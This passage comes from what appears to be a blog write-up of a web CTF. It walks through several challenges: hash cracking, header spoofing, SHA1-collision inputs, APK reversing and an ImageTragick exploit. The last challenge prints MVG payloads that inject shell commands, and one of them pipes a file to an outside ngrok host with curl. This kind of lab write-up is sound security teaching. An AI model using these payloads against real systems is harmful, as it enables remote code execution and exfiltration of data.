3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;The question seemed very straightforward, and we thought of following what it asked. The first link just needed the correct username and password combination. The log file shared was huge. It had around 200 usernames and hashes.&lt;/p&gt; &lt;p&gt;We quickly did some VScode keyboard shortcut sorcery to extract only hashes out of the big log file, nicely sorted and separated by a newline. We started looking for websites where we could find dictionaries of already cracked hashes. We tried multiple websites, but none of them allowed us to bulk post hashes, and we had 200 of them to try. Fortunately, we found CrackStation.net accepted 20 hashes at once, and we thought of giving it a try. Initially, none of them worked. We had already tried 120 and were losing hope, but the next batch of 120-140 had a vulnerable hash and found the password.&lt;/p&gt; &lt;p&gt;Final Link: &lt;a href=&quot;http://138.*.*.*:10007/system/login.php?username=wscott83&amp;#x26;password=Password1983&quot;&gt;http://138.*.*.*:10007/system/login.php?username=wscott83&amp;#x26;password=Password1983&lt;/a&gt;&lt;/p&gt; &lt;p&gt;It worked flawlessly, and we found our &lt;code class=&quot;language-text&quot;&gt;flag{NwcQbRSfUXEJ3Dhz13K9}&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;6-greenland---admin-has-the-power&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#6-greenland---admin-has-the-power&quot; aria-label=&quot;6 greenland admin has the power permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#6 Greenland - Admin has the power&lt;/h3&gt; &lt;p&gt;Administrators only have the power to see the flag, can you be one?&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 100%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-waf-img.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Link: &lt;a href=&quot;http://138.*.*.*:10007/waf/&quot;&gt;http://138.*.*.*:10007/waf/&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-5&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-5&quot; aria-label=&quot;solution 5 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;When the page opened, it displayed a straight-up message that our user-agent was not acceptable. We tried changing the user agent of the requests manually to various devices but to use. Then analyzing the page headers, we found a header called Supported UA, which said &lt;code class=&quot;language-text&quot;&gt;Py-Requests&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;We tried making a request using the following python script:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://138.*.*.*:10007/waf/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We got a result that only valid IP addresses are allowed, along with a list of IP addresses. Using the list, we made a new request.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://138.*.*.*:10007/waf/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; headers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;X-Forwarded-For&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;1.3.3.7&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Which gave us the flag: &lt;code class=&quot;language-text&quot;&gt;flag{1bOYFQQ8YXDX3ZVMfz3M}&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;7-japan---crack-the-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#7-japan---crack-the-code&quot; aria-label=&quot;7 japan crack the code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#7 Japan - Crack the code&lt;/h3&gt; &lt;p&gt;Mr. Robot is the only person who can view the flag!&lt;/p&gt; &lt;p&gt;Link: &lt;a href=&quot;http://138.*.*.*:10007/mis/index.php?source=true&quot;&gt;http://138.*.*.*:10007/mis/index.php?source=true&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-6&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-6&quot; aria-label=&quot;solution 6 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;We got a PHP code, analyzing which we found we need to pass 3 query parameters to the URL - secret, username, and password. As per the PHP code, the values of these query parameters should match the following conditions:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Removing the ‘hellowingify’ substring from the secret query parameter value will generate ‘hellowingify’ as a remainder.&lt;/li&gt; &lt;li&gt;Value for username and password query parameters should be different&lt;/li&gt; &lt;li&gt;Username and password must have the same sha1 hash result.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;We met the first condition by sending ‘hellohellowingifywingify’ string as the secret value. A simple search on the internet revealed a link where a few different strings having the same sha1 were listed. The link we used was &lt;a href=&quot;https://3v4l.org/tT4l8&quot;&gt;https://3v4l.org/tT4l8&lt;/a&gt;. We copied two strings having the same sha1 from this website and sent them as username and password. The final values sent from our side:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;secret = hellohellowingifywingify&lt;/li&gt; &lt;li&gt;username = aaroZmOk&lt;/li&gt; &lt;li&gt;password = aaK1STfY&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;a href=&quot;http://138.*.*.*:10007/mis/index.php?secret=hellohellowingifywingify&amp;#x26;username=aaroZmOk&amp;#x26;password=aaK1STfY&quot;&gt;http://138.*.*.*:10007/mis/index.php?secret=hellohellowingifywingify&amp;#x26;username=aaroZmOk&amp;#x26;password=aaK1STfY&lt;/a&gt;&lt;/p&gt; &lt;p&gt;This gave us the &lt;code class=&quot;language-text&quot;&gt;flag{zNVqGkEaWrsTxmtmcJCm}&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;8-russia---the-term-hack-proof-is-a-joke&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#8-russia---the-term-hack-proof-is-a-joke&quot; aria-label=&quot;8 russia the term hack proof is a joke permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#8 Russia - The term hack-proof is a joke!!!&lt;/h3&gt; &lt;p&gt;They say this website is hack-proof. Can you prove them wrong?&lt;/p&gt; &lt;p&gt;Link: &lt;a href=&quot;http://138.*.*.*:10007&quot;&gt;http://138.*.*.*:10007&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-7&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-7&quot; aria-label=&quot;solution 7 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;This challenge had this single link that served a simple page. The page had an input box asking for a key. Which key? Where to find it? We had no idea.&lt;/p&gt; &lt;p&gt;We started with analyzing the page source of the website but to no luck. We found nothing. We started going through all the network requests the website was making. Luckily, we found that the default GET call was getting an extra HTTP response header named X-Key.&lt;/p&gt; &lt;p&gt;It was a direction, and we tried putting the header value in the input box, but it didn’t work. The header value looked like encoded in Base64, so we tried with the decoded value. It again was a partial success as the message popup just said, “Nice try.”&lt;/p&gt; &lt;p&gt;We kept trying but, we were clueless now. One thing we noticed was that the key changed every time. We thought of retrying it using a script. We quickly wrote a script to read the header, decode it and post it back to the server.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; main &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;http://138.*.*.*:10007/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; xkey &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;X-Key&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; form &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FormData&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; form&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;key&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xkey&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;http://138.*.*.*:10007/index.php&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; method&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; form&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;It worked. The catch was to utilize the X-key header very fast. We had our &lt;code class=&quot;language-text&quot;&gt;flag{KApkMDVVCuFnLM6oYB3v}&lt;/code&gt; in the response text.&lt;/p&gt; &lt;h3 id=&quot;9-usa---are-you-good-at-reverse-engineering&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#9-usa---are-you-good-at-reverse-engineering&quot; aria-label=&quot;9 usa are you good at reverse engineering permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#9 USA - Are you good at reverse engineering?&lt;/h3&gt; &lt;p&gt;Can you help us recover the flag from this APK file?&lt;/p&gt; &lt;p&gt;Link: &lt;a href=&quot;https://drive.google.com/file/d/1PwJg6M-74upIH50TaMdf5kFWj4ZXjlpb/view&quot;&gt;https://drive.google.com/file/d/1PwJg6M-74upIH50TaMdf5kFWj4ZXjlpb/view&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-8&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-8&quot; aria-label=&quot;solution 8 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;This challenge had a link to an APK file, and we had to reverse engineer it to find the flag.&lt;/p&gt; &lt;p&gt;First, we tried to unzip the APK file to check for any strings in the APK files but unzipping the APK files didn’t help much as most of the unzipped files were binary.&lt;/p&gt; &lt;p&gt;Then we tried a tool to reverse engineer the apk. The tool we used was Apktool. This tool helped in decoding the apk and the entire code of the apk was available. Then the next thing we did was to search for any familiar strings in the apk. A simple “flag” string search led us to a url as seen below:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 80%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-usa-img1.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;We tried a simple get call to this url, but it failed. After more debugging, we found that we need to send username and password in the request body to fetch the flag. A simple “password” string search revealed an xml where the username and password value were defined:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 80%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-usa-img2.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;The final step was to send the username and password in the request body to the URL revealed in first screenshot and it returned the &lt;code class=&quot;language-text&quot;&gt;flag{TVbTVuKnKLonxWaKAEmb}&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;10-india---alohomora&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#10-india---alohomora&quot; aria-label=&quot;10 india alohomora permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#10 India - Alohomora&lt;/h3&gt; &lt;p&gt;Use this magical spell to unlock the doors!!&lt;/p&gt; &lt;p&gt;Link: &lt;a href=&quot;http://138.*.*.*:8080/&quot;&gt;http://138.*.*.*:8080/&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-9&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-9&quot; aria-label=&quot;solution 9 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;By looking at the website and the description of the challenge, we knew the site was vulnerable to &lt;strong&gt;ImageTragick&lt;/strong&gt;. To confirm the vulnerability, we tried sending a simple http request to our local development site using the below payload.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;push graphic-context viewbox 0 0 640 480 fill &amp;#39;url(https://test.com/i.jpg&amp;quot;|setsid /bin/curl https://9902da737e4a.ngrok.io&amp;quot;)&amp;#39; pop graphic-context&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;When we uploaded this &lt;strong&gt;mvg&lt;/strong&gt; file, we got a http request from the vulnerable application. This confirmed that the site was vulnerable to ImageTragick and it was using a vulnerable ImageMagick package to process images.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 100%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-india-img1.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Now in order to access the flag, we needed to know the path of the file and the name of the file. So we listed out the current working directory using the &lt;strong&gt;ls&lt;/strong&gt; command and forwarded the details to our local development server(Ngrok) using &lt;strong&gt;Curl&lt;/strong&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 100%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-india-img2.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Once we knew the path and the name of the file, we uploaded a new mvg payload and grabbed the flag &lt;code class=&quot;language-text&quot;&gt;flag{1bOYFQQ8YXDX3ZVMfz3M}&lt;/code&gt; from the vulnerable application.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;push graphic-context viewbox 0 0 640 480 fill &amp;#39;url(https://test.com/i.jpg&amp;quot;|setsid /bin/cat flag.txt | /bin/curl -d @- https://9902da737e4a.ngrok.io&amp;quot;)&amp;#39; pop graphic-context&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px; width: 100%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-india-img3.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;a-hard-fought-battle&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#a-hard-fought-battle&quot; aria-label=&quot;a hard fought battle permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;A hard-fought battle&lt;/h2&gt; &lt;p&gt;As the 